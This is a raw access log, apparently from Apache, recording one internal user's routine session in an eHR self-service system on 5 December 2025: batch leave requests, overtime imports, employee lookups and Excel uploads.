/eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 192.168.12.46 - - [05/Dec/2025:19:11:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 192.168.12.46 - - [05/Dec/2025:19:11:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [05/Dec/2025:19:11:56 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:56 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 192.168.12.46 - - [05/Dec/2025:19:11:56 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:56 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 192.168.12.46 - - [05/Dec/2025:19:12:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:12:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 100.64.0.1 - - [05/Dec/2025:19:12:12 +0800] "MGLNDD_202.111.43.170_8088" 501 228 "-" "-" 100.64.0.1 - - [05/Dec/2025:19:12:12 +0800] "MGLNDD_202.111.43.170_8088" 501 228 192.168.12.46 - - [05/Dec/2025:19:12:16 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4562308638027671 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:12:16 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4562308638027671 HTTP/1.1" 200 16608 192.168.12.46 - - [05/Dec/2025:19:12:22 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4562308638027671 HTTP/1.1" 200 18796 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4562308638027671" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:12:22 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4562308638027671 HTTP/1.1" 200 18796 192.168.12.46 - - [05/Dec/2025:19:12:23 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:12:23 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 192.168.12.46 - - [05/Dec/2025:19:12:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4213 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:12:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4213 192.168.12.46 - - [05/Dec/2025:19:12:36 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:12:36 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 192.168.12.46 - - [05/Dec/2025:19:12:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:12:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [05/Dec/2025:19:12:56 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.812711567715042 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:12:56 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.812711567715042 HTTP/1.1" 200 16608 192.168.12.46 - - [05/Dec/2025:19:13:03 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.812711567715042 HTTP/1.1" 200 18796 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.812711567715042" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:13:03 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.812711567715042 HTTP/1.1" 200 18796 192.168.12.46 - - [05/Dec/2025:19:13:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4213 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:13:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4213 192.168.12.46 - - [05/Dec/2025:19:13:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45292 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:13:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45292 192.168.12.46 - - [05/Dec/2025:19:13:15 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 192.168.12.46 - - [05/Dec/2025:19:13:15 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:13:15 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:13:15 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 192.168.12.46 - - [05/Dec/2025:19:23:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45094 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:23:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45094 192.168.12.46 - - [05/Dec/2025:19:23:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:23:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 192.168.12.46 - - [05/Dec/2025:19:26:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 120789 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:26:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 120789 192.168.12.46 - - [05/Dec/2025:19:26:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45291 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:26:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45291 192.168.12.46 - - [05/Dec/2025:19:36:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:36:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [05/Dec/2025:19:36:19 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.3113986497021477 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:36:19 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.3113986497021477 HTTP/1.1" 200 5264 192.168.12.46 - - [05/Dec/2025:19:36:28 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.3113986497021477 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.3113986497021477" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:36:28 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.3113986497021477 HTTP/1.1" 302 - 192.168.12.46 - - [05/Dec/2025:19:36:29 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 8848 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.3113986497021477" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:36:29 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 8848 192.168.12.46 - - [05/Dec/2025:19:36:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:36:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.12.46 - - [05/Dec/2025:19:36:39 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132757%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132757&target=iframe HTTP/1.1" 200 3251 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:36:39 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132757%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132757&target=iframe HTTP/1.1" 200 3251 192.168.12.46 - - [05/Dec/2025:19:36:39 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132757%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132757&target=iframe" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:36:39 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084 192.168.12.46 - - [05/Dec/2025:19:36:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:36:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [05/Dec/2025:19:37:20 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8898200347127766 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:37:20 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8898200347127766 HTTP/1.1" 200 5264 192.168.12.46 - - [05/Dec/2025:19:37:24 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8898200347127766 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8898200347127766" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:37:24 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8898200347127766 HTTP/1.1" 302 - 192.168.12.46 - - [05/Dec/2025:19:37:24 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4848 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8898200347127766" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:37:24 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4848 192.168.12.46 - - [05/Dec/2025:19:37:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4670 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:37:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4670 192.168.12.46 - - [05/Dec/2025:19:40:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:40:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [05/Dec/2025:19:40:15 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.3420387825577281 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:40:15 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.3420387825577281 HTTP/1.1" 200 5264 192.168.12.46 - - [05/Dec/2025:19:40:18 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.3420387825577281 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.3420387825577281" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:40:18 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.3420387825577281 HTTP/1.1" 302 - 192.168.12.46 - - [05/Dec/2025:19:40:19 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 6454 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.3420387825577281" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:40:19 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 6454 192.168.12.46 - - [05/Dec/2025:19:40:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 6024 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:40:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 6024 192.168.12.46 - - [05/Dec/2025:19:40:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:40:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [05/Dec/2025:19:40:59 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9945314512621333 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:40:59 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9945314512621333 HTTP/1.1" 200 5264 192.168.12.46 - - [05/Dec/2025:19:41:04 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9945314512621333 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9945314512621333" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:41:04 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9945314512621333 HTTP/1.1" 302 - 192.168.12.46 - - [05/Dec/2025:19:41:04 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4586 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9945314512621333" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:41:04 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4586 192.168.12.46 - - [05/Dec/2025:19:41:14 +0800] "POST 